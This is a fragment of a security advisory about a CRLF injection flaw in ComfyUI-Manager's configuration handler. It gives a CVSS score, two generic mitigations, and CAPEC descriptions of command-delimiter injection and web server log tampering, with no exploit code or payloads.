"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "ComfyUI-Manager is Vulnerable to CRLF Injection in Configuration Handler"
}
Mitigation
Avoid using CRLF as a special sequence.
Mitigation
Appropriately filter or quote CRLF sequences in user-controlled input.
CAPEC-15: Command Delimiters
An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
CAPEC-81: Web Server Logs Tampering
Web Logs Tampering attacks involve an attacker injecting, deleting or otherwise tampering with the contents of web logs typically for the purposes of masking other malicious behavior. Additionally, writing malicious data to log files may target jobs, filters, reports, and other agents that process the logs in an asynchronous attack pattern. This pattern of attack is similar to "Log Injection-Tampering-Forging" except that in this case, the attack is targeting the logs of the web server and not the application.